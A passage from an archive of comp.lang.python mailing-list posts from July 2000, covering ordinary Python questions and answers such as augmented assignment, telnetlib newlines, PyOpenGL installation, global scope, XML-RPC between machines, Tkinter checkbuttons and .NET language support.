though. "x += 1" is really (in C-like terminology) "p = &x; *p =
*p + 1". In 99% of cases this wouldn't make a difference in the
result, so (2) might be okay. In addition, it looks more correct
from the users' point of view; in "x += 1" it looks like the expression
x should only be evaluated once.

(3) is something I've thought about. It would be nice to have a
mutating operator for all the non-mutating ones. That operator
should not look like += though, because it would not do what it
does in C. The exception would be when it would incidentally 
performs it that way in optimization (4).

Here's something that popped into my mind. Maybe we could borrow
the ! custom from Scheme: (functions whose names end with ! cause
mutations, I'm corrupting it for operators)

       list +! [5,6,7]

       list *! 3

to extend or triple a list in place, respectively. Of course

       int +! 1

       tuple +! (9,)

would not work.

(4) is a decision that would have to be made at run-time, and
should have nothing to do with the syntax used in the source.
If another reference to the old object is out there, the trick
can't be used.

It's also noteworthy that (4) would apply to other cases than
augmented assignment, such as

       l = [1] + [2,3] + [4,5,6] + [7,8,9]

This could save having to create (and throw away) intermediate
objects. [1], [1,2,3] and [1,2,3,4,5,6] get deleted when they
could be extended.

For this reason I'm led to think that (4) really has nothing
to do with augmented assignment, and is a more general
optimization.

Maybe something like:

	def __add__(self, other, throwaway=0):
		if throwaway:
			self.data.extend(other)
#		or  self.data +! other
			return self
		else:
			...


Or that logic could be incorporated in the bytecode
interpreter itself (if we have standardized method names
for what I'm calling +! here.)


From erikd at zip.com.au  Mon Jul 31 21:00:29 2000
From: erikd at zip.com.au (Erik de Castro Lopo)
Date: Tue, 01 Aug 2000 01:00:29 +0000
Subject: telnetlib
References: <20000729152800.B1899@reepicheep.avalongroup.net> <cp3dkqe0k6.fsf@cj20424-a.reston1.va.home.com> <20000731091354.A1319@reepicheep.avalongroup.net>
Message-ID: <3986212D.67EE4152@zip.com.au>

Timothy Grant wrote:
> 
> On Mon, Jul 31, 2000 at 03:17:10PM +0000, Guido van Rossum wrote:
> > Timothy Grant <tjg at exceptionalminds.com> writes:
> >
> > > Everything works great until I enter the Terminal type. It appears that the
> > > telnet session stops receiving at that point. As you can see from the
> > > Traceback I receive the echo of from my write, but then don't receive the
> > > next prompt.
> > >
> > > I'm guessing it has something to do with either changing the terminal type
> > > on telnetlib, or a timing issue, but I'm stumped at the moment.
> >
> > Could you post a transcript of what the session looks like when you do
> > it manually???
> >
> > A random "poke-and-hope" suggestion: perhaps you could use \r instead
> > of \n in input???
> 
> OK, now I'm cautiously optimistic. Things look like they are working
> correctly, though I still have a ways to go before I am convinced of the
> fact.

Beware of newline characters on unusual OSes. As we all know, Unix and
unix-like OSes use \n while DOS and windows etc use \r\n.

Just to confuse things, OS9 (a realtime OS) and IIRC Mac use \r!!!!

Its always worth trying all three possibilities.

Erik
-- 
+-------------------------------------------------+
     Erik de Castro Lopo     erikd at zip.com.au
+-------------------------------------------------+
Those who do not understand Unix are condemned to reinvent it, poorly.  
-- Henry Spencer


From fig at oreilly.com  Mon Jul 17 15:48:59 2000
From: fig at oreilly.com (Stephen R. Figgins)
Date: Mon, 17 Jul 2000 19:48:59 GMT
Subject: Newbie question: PyOpenGL installation
References: <3971D194.1A951464@freesurf.fr>
Message-ID: <39736373.25440F55@oreilly.com>

Installing PyOpenGL on Linux is not easy right now.  I managed to do it,
but had to alter some of the source.  I was about to write up how I did
it when I found Robin Humble had done the same thing, and posted it to
the PyOpenGL egroup: 

  http://wxwindows.org/pipermail/wxpython-users/2000-April/001922.html

Here is the text of his post:
=====================================================================  
Hi,
First post...
These are the steps I went through to get pyOpenGL from CVS (May30)
working with RedHat 6.2. I think it'd be similar for RH6.1.
Some of these changes should probably go into CVS...

* install python-numpy-15.3-1.i386.rpm from 
  http://download.sourceforge.net/numpy/python-numpy-15.3-1.i386.rpm

* grab pyOpenGL from CVS using the instructions on
  http://www.pythonpros.com/cvs.html

* edit Setup.in to be all -lGL -lGLU (not MesaGL) and to be link
  paths of -L/usr/X11R6/bin
  - this'd be fine as a spec file patch... don't worry about CVS

* edit src/Togl-1.5/togl.c at ~line 127 to add a 8.0.5 version choice
  which is the same as the 8.0.4 version
  - probably should be in CVS as it appears to work with tk/tcl 8.0.5

* run python BUILD.py
* run python install.py -v

* edit /usr/lib/tk8.0/Togl/pkgIndex.tcl to be .so not .dll
  - there should be an OS dependant 'pkgIndex.tcl' in the support/
    directory that 'install.py' chooses depending upon whether you're 
    running Unix or Windows. Obviously .dll makes no sense under
    Unix/Linux.

* move /usr/lib/tk8.0/Togl/togl.so to be Togl.so
  - maybe if I knew what the syntax of the 'pkgIndex.tcl' file was then
    this wouldn't be necessary as 'togl.so' should be ok? Not sure...

I also have most of the demos from www.python.de working if anyone is
interested. The RawOpengl one being the exception.
I couldn't find any sensible demos from the cvs version of pyOpenGL.
Maybe I don't know the right place to look?

Please let me know if you'd like patches for any of these things and
I'll do my best to help. If the CVS gets updated then I'm happy to
contribute a .spec file and create a source and binary i386 rpm (and a
download site) if anyone is interested. Possibly also an Alpha/Linux
binary rpm.

I'm impressed by the speed and simplicity of pyOpenGL so far! About
100k+ points per frame animating smoothly and happily (software only
Mesa with Athlon700/K7V/G400Max)...
Well done!! :)

cheers,
robin
--
 Robin Humble      /        http://www.cita.utoronto.ca/~rjh/
=====================================================================

Since reading this, I found another person who says they solved some of
the
MesaGL library problems by installing the Mesa 3.0 RPM from Robin Dunn's
wxPython site:

  http://alldunn.com/wxPython/dist/others/


Best of luck!

Stephen


From dnotspam-jen at personic.com.bbs  Mon Jul 17 21:10:01 2000
From: dnotspam-jen at personic.com.bbs (dnotspam-jen at personic.com.bbs)
Date: 18 Jul 2000 01:10:01 GMT
Subject: Multiline strings and indentation
Message-ID: <3bRVdS$kbn@openbazaar.net>

Umm, yes to everyone who replied. But ... that's quite a few more keystrokes
to add.

It's a little less work to use parentheses:

print ("the first line of text\n"
       "the second line of text \n"
       "the third line ... \n")

But in both cases you have to put in extra quotes and explict newline
characters (unless you don't care where the text wraps). Multi-line strings
save a bit of typing, and are a bit easier to reformat when editing. So I
guess this means I have to choose between weird indentation (multi-line
strings) or typing more characters?

Jen

"j vickroy" <jvickroy at sec.noaa.gov> wrote in message
news:39736E71.AE8B128B at sec.noaa.gov...
> How about:
>
> >>> print "this" + \
>                 " is" + \
>                 " a" + \
>                 " long" + \
>                 " string"
>
> this is a long string
> >>>
>
> "donotspam-jen at personic.com" wrote:
>
> > I'm just getting started with Python. The indentation feature really
does
> > make things readable ... except when using multi-line strings.  This
just
> > doesn't look right:
> >
> > def multiline(x):
> >   if x:
> >     print """this is a
> > multi-line string that spans
> > three lines"""
> >  print "another string"
> >
> > Is there a way to make the above more readable? It would be nice if it
could
> > be written this way and have Python just figure out what whitespace to
> > ignore:
> >
> > def multiline(x):
> >   if x:
> >     print """this is a
> >              multi-line string that spans
> >              three lines"""
> >  print "another string"
> >
> > Thanks for any suggestions!
> >
> > Jen
>


From db3l at fitlinxx.com  Mon Jul 17 13:40:37 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 17 Jul 2000 13:40:37 -0400
Subject: Enumerating drives in Python or wxPython
References: <8aKa5.485$652.11285@newsc.telia.net> <MPG.13d6a1cd2ebf57169896bf@news-enteract> <ubt018y3z.fsf@ctwd0143.fitlinxx.com> <MPG.13d9529f7e3be5519896c1@news-enteract>
Message-ID: <ulmz064fe.fsf@ctwd0143.fitlinxx.com>

Alan Miller <ajm at enteract.com> writes:

> David Bolen (db3l at fitlinxx.com) wrote:
> >Alan Miller <ajm at enteract.com> writes:
> >> for driveletter in string.uppercase:
> >>     if os.path.isdir(driveletter + ":\\"):
> >>         drivelist.append(driveletter)
> >
> >The only rub with this is that for things like floppies, you can get
> >errors running isdir() if there is no diskette present.
> 
> Interesting, I tried it out before I posted and didn't have any problems.  

Strange - it did for me for A: (I did it just before posting as well).
Perhaps it's a Windowism that depends on platform or some strange
registry setting or something.  I was on NT 4, SP4.  In any event, I
guess at the very least it means that it's behavior isn't guaranteed
to be consistent.

(...)
> Anyway, even if isdir() did return an error that should be trappable; I'd 
> expect the error returned to be different for media not available than 
> for no such device.

The problem was that isdir() didn't return an error - it returned 1
(which I guess is ok, given that A:\ is technically valid even without
a diskette), but the NT error while performing isdir() put up a
message box that the user would have to answer before isdir() returned
in the Python script.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From moshez at math.huji.ac.il  Sat Jul  1 09:42:04 2000
From: moshez at math.huji.ac.il (Moshe Zadka)
Date: Sat, 1 Jul 2000 16:42:04 +0300 (IDT)
Subject: Communicating between two computers
In-Reply-To: <395d48b3$0$21842@wodc7nh0.news.uu.net>
Message-ID: <Pine.GSO.4.10.10007011639300.17559-100000@sundial>

On Fri, 30 Jun 2000, donotspam-jen at personic.com wrote:

> FYI, I'm doing all of this on Windows NT, in case that makes a difference
> ...
> 
> Is there a good way to get a script on one computer to talk to a script on
> another computer?  The process I'm thinking of is pretty simple ... I want a
> script on a Web server to be able to send a command to a build server to
> start a build process.  I'd also like the Web server to be able to query the
> build servers to find out their status (so that two builds do not run at
> once on the same machine, for example).

Have a look at my signature: like most everything I say, it is only half
a joke. Python on two computers talking in plain old HTTP is a powerful
concept. Just derive from BaseHTTPServer on one end, and implement only
the do_GET() method, and use urllib at the other end to transmit requests. 

Both our inhouse build and backup systems are built (more or less) on
these principals.

I have no idea if you can run a Python script as an NT service: I'll leave
that to those who know windows.
--
Moshe Zadka <moshez at math.huji.ac.il>
There is no GOD but Python, and HTTP is its prophet.




From david_ullrich at my-deja.com  Fri Jul 14 13:15:16 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Fri, 14 Jul 2000 17:15:16 GMT
Subject: Changing the class of an instance
References: <8ki9bf$2pg3$1@pc-news.cogsci.ed.ac.uk> <8kkuuv$ohu$1@nnrp1.deja.com> <8kl0c7$1h2n$1@pc-news.cogsci.ed.ac.uk>
Message-ID: <8knhql$lpi$1@nnrp1.deja.com>

In article <8kl0c7$1h2n$1 at pc-news.cogsci.ed.ac.uk>,
  richard at cogsci.ed.ac.uk (Richard Tobin) wrote:
> In article <8kkuuv$ohu$1 at nnrp1.deja.com>,  <david_ullrich at my-deja.com>
wrote:
>
> >    If you said what you were trying to do someone would show
> >you how to do it without trying to change the class of an
> >instance.
>
> I can see plenty of other ways to do it myself, thanks.  For example,
> changing the relevant methods of the instance.
>
> >    I can't imagine there being any _argument_ about whether
> >it's a good idea...
>
> It's not as if it's a previously-unheard-of idea I've dreamt up; on
> the contrary it is explicitly provided in some other well-known object
> systems (eg change-class in CLOS).

   It's explicitly provided in Python as well. That doesn't mean
it's a good idea. (I used to really enjoy this sort of
shenanigans, thought the people who advised against it were
just sissies. Then one night I discovered how right they
were...)

   Changing the methods of the instance also counts as
a sneaky don't-do-that. Whatever it is you're trying to
do there's a way to do it in legitimate Python without
this sort of thing. (Or not; with no information on
why you want to do this it's hard to be certain.)

DU

> -- Richard
> --
> Spam filter: to mail me from a .com/.net site, put my surname in the
headers.
>
> "The Internet is really just a series of bottlenecks joined by high
> speed networks." - Sam Wilson
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From dgoodger at bigfoot.com  Sat Jul 29 00:18:22 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Sat, 29 Jul 2000 00:18:22 -0400
Subject: learning-python question
In-Reply-To: <39824A0A.EB878DBE@nycap.rr.com>
References: <8j8ep3$tkn$1@nnrp1.deja.com><39824A0A.EB878DBE@nycap.rr.com>
Message-ID: <B5A7D34D.6C63%dgoodger@bigfoot.com>

on 2000-07-28 23:02, gbp (gpepice1 at nycap.rr.com) wrote:
> I'm new to python but it looks like your varible is out of scope.  Try
> declaring it as a global (just put the work global in front of it) or
> try moving it so its inside the function.  It you declare a varible at
> top level its isn't automatically global.  Its local to the top level.
> 
> JeremyLynch at fsmail.net wrote:
>> count = 5
>> 
>> def count_func()
>>   print count
>>   count = count + 1
>> 
>> count_func()
>> 
>> Why can count_func() not see count (it throws up a 'name'
>> or 'attribute' error)

Almost. The variable "count" is global, which means it's visible inside
count_func(). But when you say "count = count + 1", you're first referring
to the global variable count, adding 1 to its value, then assigning that
value to a new local variable count. This is not allowed in Python; you
cannot refer to an unqualified name both globally and locally in the same
function.

The solution is to put "global count" inside the function, *before* you
first refer to the variable (the first line is a good place).

Why not make count_func into a real function? (I assume that your real
intention is more complex than the example above.) Viz:

  def count_func(count):
    print count
    return count + 1

  count = 5
  count = count_func(count)

-- 
David Goodger    dgoodger at bigfoot.com    Open-source projects:
 - The Go Tools Project: http://gotools.sourceforge.net
 (more to come!)



From chrisw at nipltd.com  Mon Jul 10 10:16:43 2000
From: chrisw at nipltd.com (Chris Withers)
Date: Mon, 10 Jul 2000 15:16:43 +0100
Subject: [Python-Help] imp.load_module from a string
References: <39672E50.B83A4C81@nipltd.com> <200007081846.UAA04878@pandora.informatik.hu-berlin.de> <3969AC50.98F36FF4@nipltd.com> <200007101103.NAA14484@pandora.informatik.hu-berlin.de>
Message-ID: <3969DACB.D6C15CEF@nipltd.com>

Martin von Loewis wrote:

<snip very useful response>

Thanks! :-)

That answered my questions and more. The response time was also more
than impressive ;-)

> > ...what happens to objects created from old MyModule code?...
> 
> The objects stay the same. When the reference to the module is
> release, class objects still remain as long as instance objects refer
> to the class.

Hmmm, some of these classes are being used to unpickle objects sent from
the server. I guess I just have to make sure the right version of the
module is in sys.modules when I unpickle the object?

thanks again for all the help,

Chris



From peter at schneider-kamp.de  Mon Jul 17 12:56:39 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Mon, 17 Jul 2000 16:56:39 +0000
Subject: [Patch] {l,r}just with optional pad character parameter
References: <8kshd3$l1h$2@bw107zhb.bluewin.ch> <20000716165538.V7340@xs4all.nl>
Message-ID: <39733AC7.96CCBF81@schneider-kamp.de>

Thomas Wouters wrote:
> 
> As for the patch itself, it looks okay, though I'd say the restriction on
> padchar being a single character is a bit strange. Why not allow multiple
> characters as padding ? string.join() allows strings instead of single
> characters, too.

Two reasons why not:
- it would have been harder to implement <wink>
- undetermined semantics:
  "GvR".ljust(6,"12") =?= "GvR121"
  or
  "GvR".ljust(6,"12") =?= "GvR12"
  or
  "GvR".ljust(6,"12") =?= "GvR1212"

  I would vote for the first, but I am not sure it is obvious.
  Also I don't see any danger in the version implemented now.
  If you supply a string of length != 1, you get a very
  nice (helpful) TypeError.

Two reasons why:
- you could use "" to switch off padding, "N/A    " to fill a
  line with "N/A    N/A    N/A    N/A    " or " ." if you
  don't like """
  1.2.7. On the verge of sending........
  1.2.8. Really about to send now......."""
- it would be more general. Python likes that.

If we can work out the semantics, I volunteer to implement it.

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From db3l at fitlinxx.com  Mon Jul  3 15:20:27 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 03 Jul 2000 15:20:27 -0400
Subject: Communicating between two computers
References: <395d48b3$0$21842@wodc7nh0.news.uu.net> <uem5e38if.fsf@ctwd0143.fitlinxx.com> <395fbcd8$0$5627@wodc7nh0.news.uu.net>
Message-ID: <ubt0fyq9w.fsf@ctwd0143.fitlinxx.com>

"donotspam-jen at personic.com" <dnotspam-jen at personic.com> writes:

> I checked out the link, but from what I read, it sounds like this is a
> client-side implementation only.  Is there more info on this somewhere?
> Maybe some examples of how to use this?

It can handle both client and server.  The package has both the
xmprpclib.py module (client) as well as a sample xmlrpcserver.py
module (all 50 lines of it, excluding the preface comments).

Just "borrow" the server example module, add your methods into the
RequestHandler class and you're off.  On the client side, it's no more
than a single Server() instantiation, e.g.:

	server = xmlrpclib.Server("http://hostname")

and then you can call any method you want directly, e.g.:

	server.myMethod(myParameters)

any exceptions on the server side are trapped and and exception type
and value are returned as a "fault" return code.

BTW, this isn't much different from the other suggestions to subclass
the HTTP server object (in fact that's what RequestHandler in the
server example does), but the automatic translation back and forth
from any Python objects into XML for transmission/receipt saves a lot
of time in actually formatting and processing the request over the
stream.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From akuchlin at mems-exchange.org  Thu Jul 27 13:13:26 2000
From: akuchlin at mems-exchange.org (Andrew Kuchling)
Date: 27 Jul 2000 13:13:26 -0400
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au> <8ln84n$380$1@gaia.cdg.acriter.nl> <njLf5.12964$4p3.101185@news-server.bigpond.net.au> <S1Z1K6AQMBg5EwNZ@jessikat.fsnet.co.uk>
Message-ID: <3dittrsdhl.fsf@kronos.cnri.reston.va.us>

Robin Becker <robin at jessikat.fsnet.co.uk> writes:
> This IL stuff is not a big deal intellectually so why doesn't M$ just
> release the language definition and sources and let the big & small guys
> play?

It would certainly be interesting to see a spec for MSIL and CLR, in
order to gauge the complexity of writing an independent
implementation.  It might provide a decent chance of unifying the
hopelessly fragmented state of scripting languages on Unix.

--amk


From roger_callisto at hotmail.com  Mon Jul 31 21:32:17 2000
From: roger_callisto at hotmail.com (Peter Yu)
Date: Tue, 01 Aug 2000 01:32:17 GMT
Subject: Convoluted question
References: <75F7304BB41CD411B06600A0C98414FCB3682D@ORSMSX54>
Message-ID: <8m59b1$s47$1@nnrp1.deja.com>

In article <75F7304BB41CD411B06600A0C98414FCB3682D at ORSMSX54>,
  "Daley, Mark W" <mark.w.daley at intel.com> wrote:
> I am a little frustrated by this situation.  I have written some code
to
> take an indeterminate number of server names to create a column of
check
> buttons:
<code and exception snipped>
> I think this comes from the fact that I didn't define the names in
varlist
> as variables.  It seems to me that there should be an easy way to
assign
> variable names for each check button in an automated way, and an easy
way to
> return the status of a check button.

Yup. =) It's not only possible, but quite easy.
Given your snippet, try the following:
(I'll assume the code's not in a class, though it really ought to be.
 If it is, replace all instances of checkholder with self and don't
 worry about declaring blank. =))

servername = ['Server1', 'Server2', 'Server3', ..., 'Servern']
class blank: #Blank class. Or is there a way to reference current env?
   pass

checkbuttons = blank() #Create an empty holder class.

for item in range(len(servername)):
   button_name = 'button%d' % item
   setattr(checkholder, button_name, IntVar())
   b1 = Checkbutton(root, text = servername[item],
                    variable = getattr(checkholder, button_name)
   b1.grid(row = item, column = 0, sticky = W)


Then you can check the values via getattr(checkholder, 'button0')
for the very first value, for example.

Hope this was helpful. =)
Peter Yu


Sent via Deja.com http://www.deja.com/
Before you buy.


From darrell at dorb.com  Sun Jul 23 09:24:36 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Sun, 23 Jul 2000 09:24:36 -0400
Subject: bit manipulation frustration
References: <397A6980.CF15DB96@san.rr.com> <B59FEFA3.6877%dgoodger@bigfoot.com> <397A7BB5.A6024F70@san.rr.com> <397A839B.D3BCAF41@san.rr.com>
Message-ID: <0b1001bff4a9$5951b2c0$6401a8c0@home>

Here's some helpful utils I use when working with binary data. 
They aren't well tested because I use a 'C' version of these same uitls.
Although I regret doing any of them in 'C'.

http://www.dorb.com/darrell/utils/hexConvert.py
Converts binary to hex like so:
0x3031 0x3233 0x3435
And back to binary. Nice for debugging, since I hate reading octal.

http://www.dorb.com/darrell/utils/bitShift.py
This is unsigned bit shifting and rotate.


--Darrell

----- Original Message ----- 
From: "Courageous" <jkraska1 at san.rr.com>
Newsgroups: comp.lang.python
To: <python-list at python.org>
Sent: Sunday, July 23, 2000 1:30 AM
Subject: Re: bit manipulation frustration


> 
> > > > get it?)
> > > No..
> 
> The image is runs of values where 'X' represents a 16 bit RGB value.
> It's like this:
> 
> XX
> XXXX
> XXXXXX
> ...
> 
> >From 2 to 44 to 2 again.
> 
> However, upon load, this needs to be converted to
> a bitmap like this (where "-" is black, and X
> is a 16 bit RGB value):
> 
> ---------------------XX---------------------
> --------------------XXXX--------------------
> -------------------XXXXXX-------------------
> ------------------XXXXXXXX------------------
> -----------------XXXXXXXXXX-----------------
> ----------------XXXXXXXXXXXX----------------
> ---------------XXXXXXXXXXXXXX---------------
> --------------XXXXXXXXXXXXXXXX--------------
> -------------XXXXXXXXXXXXXXXXXX-------------
> ------------XXXXXXXXXXXXXXXXXXXX------------
> -----------XXXXXXXXXXXXXXXXXXXXXX-----------
> ----------XXXXXXXXXXXXXXXXXXXXXXXX----------
> ---------XXXXXXXXXXXXXXXXXXXXXXXXXX---------
> --------XXXXXXXXXXXXXXXXXXXXXXXXXXXX--------
> -------XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-------
> ------XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX------
> -----XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-----
> ----XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX----
> ---XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX---
> --XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX--
> -XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
> -XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-
> --XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX--
> ---XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX---
> ----XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX----
> -----XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-----
> ------XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX------
> -------XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX-------
> --------XXXXXXXXXXXXXXXXXXXXXXXXXXXX--------
> ---------XXXXXXXXXXXXXXXXXXXXXXXXXX---------
> ----------XXXXXXXXXXXXXXXXXXXXXXXX----------
> -----------XXXXXXXXXXXXXXXXXXXXXX-----------
> ------------XXXXXXXXXXXXXXXXXXXX------------
> -------------XXXXXXXXXXXXXXXXXX-------------
> --------------XXXXXXXXXXXXXXXX--------------
> ---------------XXXXXXXXXXXXXX---------------
> ----------------XXXXXXXXXXXX----------------
> -----------------XXXXXXXXXX-----------------
> ------------------XXXXXXXX------------------
> -------------------XXXXXX-------------------
> --------------------XXXX--------------------
> ---------------------XX---------------------
> 
> This is an isometric tile, where the only data
> stored in the file is the diamond part of X's
> in the middle. The -'s are all predictable, so
> there's no reason to store them.
> 
> Ergo, I'm looking for the best way to create
> a bitmap from something that isn't one.
> 
> 
> 
> C/
> -- 
> http://www.python.org/mailman/listinfo/python-list




From MarkH at ActiveState.com  Wed Jul 26 07:26:04 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Wed, 26 Jul 2000 11:26:04 GMT
Subject: Microsoft's C# (Sharp) & .NET -- A Heads Up 
References: <200007260357.NAA28707@xevious.dstc.monash.edu.au>
Message-ID: <gVzf5.12683$4p3.97772@news-server.bigpond.net.au>

"David Arnold" <arnold at dstc.monash.edu.au> wrote in message
news:200007260357.NAA28707 at xevious.dstc.monash.edu.au...
> -->"Alex" == Alex Martelli <alex at magenta.com> writes:
>
>   Alex> since IL does not support multiple inheritance of
>   Alex> implementation, which full Eiffel wants; dunno what Python
>   Alex> .NET will do about that).
>
> urk!  is that true?  mark?  is this an issue for Python/IL ?

Yes, and yes.

Not a huge problem for Python - just a "to be implemented" :-)  Python
defines very dynamic semantics, meaning we can fake this.

For example, multiple inheritance when used from Python will work just
fine - but if you look at this Python class using the .NET disassembler
(for example), it will not be apparent that this MI exists - the compiler
will simply generate the code to populate the __bases__ attribute of the
class, but the actual attribute lookups will still be done at runtime.
However, I believe that raw benchmark figures will keep pressure on the
Python port having the necessary tricks to take full advantage of the
platform when necessary.

Neil's previous post about the homogenisation of the languages is pretty
close to the truth - except that this is as much a time and effort issue
as a requirement forced by the platform.  The Eiffel and Python efforts
are both putting the existing language semantics over new .NET features,
but the pressure of getting working code out means we are willing to make
short-term compromises to get a reasonable 80% solution.  It has been a
moving target, and anyone expecting to find a fully functional
implementation of _any_ non-MS language is going to be disappointed.
Fortunately, we appear to have a reasonable amount of time before this is
actually released, so it is still very much early days.

Mark.





From hzhu at localhost.localdomain  Mon Jul 17 14:43:08 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Mon, 17 Jul 2000 18:43:08 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators for  matrix computation)
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <3973415D.5262CD86@eecis.udel.edu> <39735013.1AE68176@roguewave.com>
Message-ID: <slrn8n6l4p.qp.hzhu@rocket.knowledgetrack.com>

On Mon, 17 Jul 2000 12:27:31 -0600, Bjorn Pettersen <bjorn at roguewave.com> wrote:

>Perl, C++, Visual Basic, Java, and probably also Tcl are all more
>popular than Python. Are you suggesting we should add their special
>syntaxes/quirks just because a lot of people know them?

I think the argument based on userbase or specific domain were first invoked
by those who oppose adding the operators.  This just shows that such
arguments are unreliable, whether correct or not.

As to the claim that additional operators for linear algebra is somehow
comparable to the special syntaxes/quirks of various programming languages,
no real argument has been presented so far.  It's more like: If I don't care
and don't use such things, they must belong to a special domain and be
somehow comparable to some other things that I do know and dislike.

On the other hand, alternative arguments based on analysis of functionality,
overall design, history of evolution and possible future extension, etc,
would carry some real persuasive weight.

Huaiyu


From ryzam at my-deja.com  Sat Jul 22 00:52:44 2000
From: ryzam at my-deja.com (ryzam at my-deja.com)
Date: Sat, 22 Jul 2000 04:52:44 GMT
Subject: how to build ssl on window
Message-ID: <8lb9ap$j0n$1@nnrp1.deja.com>

hi,

im trying to using urllib and httplib that can access "https" url but i
got an error. Is it i must recompile again python 1.6a2 with ssl
module??

I'm don't any experiance to compile python in source code.Anybody can
guide me how to compile python from source code using vc++ 6.0


Sent via Deja.com http://www.deja.com/
Before you buy.


From nospam at buzzoff.com  Thu Jul 20 08:23:42 2000
From: nospam at buzzoff.com (Moritz Voss)
Date: Thu, 20 Jul 2000 14:23:42 +0200
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl>
Message-ID: <8l6qt4$89p$1@fermi.tro.net>

"Martijn Faassen" <m.faassen at vet.uu.nl> schrieb im Newsbeitrag
news:8l6pgt$fmc$1 at newshost.accu.uu.nl...
> In comp.lang.python Moritz Voss <nospam at buzzoff.com> wrote:
> > HOW FAST ARE THESE? <drool>
>
> Python's not amazingly fast by itself.
>
> Note that the speed of the compiler doesn't matter much; it's near
> instantaneous, but since it outputs bytecodes and you can use those,
> the speed of the interpreter is what really matters, and the interpreter
> isn't too fast.

Of course! That'S the problem. So there is not a JIT compiler style thingy
for Pyhon?


> From a game programming perspective, you can probably consider Python to
> be dirt-slow, though. The trade-off is a lot of power for speed, but
> that power can help you gain back speed because you can be a lot smarter.

Well...my python use would be for animation scriipts, micro AI scripts, and
map event scripts...maybe a little more, even.

Thanks :) So designing my own scripting language is easier.
Or: Isn't it feasibble to pull of a stunt like ID software did with their VM
files? These contain compiled C code that is loaded dynamically - and of
course is fast as hell. We currently do a lot like this with DLLs for the
Engine and Contoller modules, but maybe this is even an idea at unit level?
I'll open a thread on this... Compiled Scripts.

Thanks for the hints, though, I was jus getting started in Python :) It's
neat, but if it's slow, then it's worthless.


> Martijn





From horst at proceryon.at  Mon Jul 10 02:40:39 2000
From: horst at proceryon.at (Horst Gassner)
Date: Mon, 10 Jul 2000 08:40:39 +0200
Subject: Table Widget
Message-ID: <39696FE7.5CBD36AD@proceryon.at>

Hi all,

does anyone know a table widget which I can use in my application?

How would you implement a table widget of your one? Which kind of
widgets would you use for the table rows and columns? Labels, Listboxes?

It should be possible to sort by each of the columns, too.

Thanx in advance
Horst


From aahz at netcom.com  Sat Jul 22 21:00:56 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 23 Jul 2000 01:00:56 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <slrn8nj9ul.6bu.neelk@brick.cswv.com> <8lcnf4$vmr$1@slb0.atl.mindspring.net> <slrn8nki9i.7ga.neelk@brick.cswv.com>
Message-ID: <8ldg48$u25$1@nntp9.atl.mindspring.net>

In article <slrn8nki9i.7ga.neelk at brick.cswv.com>,
Neel Krishnaswami <neelk at alum.mit.edu> wrote:
>
>Multimethods solve this so elegantly it's hard to see that there was
>once a difficulty. Exactly the types that have defined behavior work,
>and the rest raise an intelligent error.

So far, so good.  Can you give an example of what multimethods would
look like in Python?
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From hopper at omnifarious.mn.org  Mon Jul 17 15:49:32 2000
From: hopper at omnifarious.mn.org (Eric Hopper)
Date: Mon, 17 Jul 2000 13:49:32 -0600
Subject: Reading asynchronous data from a serial device
References: <8kuvg0$kg2$1@nnrp1.deja.com>
Message-ID: <1zIc5.1394$6E.263441@ptah.visi.com>

In article <8kuvg0$kg2$1 at nnrp1.deja.com>, julesk24 at my-deja.com wrote:
> 
